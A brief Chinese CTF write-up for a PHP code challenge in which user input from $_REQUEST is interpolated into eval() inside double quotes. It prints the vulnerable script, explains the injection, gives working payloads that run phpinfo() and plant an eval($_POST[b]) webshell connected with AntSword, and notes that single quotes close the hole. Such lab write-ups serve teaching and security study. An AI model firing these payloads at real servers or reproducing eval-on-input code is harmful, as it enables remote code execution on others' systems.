<?php
error_reporting(0);
show_source(__FILE__);
$a = @$_REQUEST['hello'];
eval("var_dump($a);");
eval
看起来和代码执行有关
$a
使用$_REQUEST存储,意味着$a可以用gpc传递
eval("var_dump($a);");
使用了双引号,意味着,会先计算$a的值(也可以理解为先解析$a)再执行eval函数
利用先计算$a的值再执行eval函数这一特点,通过gpc传递给$a特殊的字符串,经过计算后与原本的var_dump();组合造成拼接效果,使eval函数执行我们预期的php代码
eval — 把字符串作为PHP代码执行
eval( string $code) : mixed
通过拼接执行phpinfo()证明可行
/challenge4.php?hello=);eval(phpinfo()
/challenge4.php?hello=);eval($_POST[b]
蚁剑连接
flag
将双引号改为单引号可解决隐患
PHP_Code_Challenge-4-双引号导致php代码注入
原文:https://www.cnblogs.com/Rain99-/p/12539959.html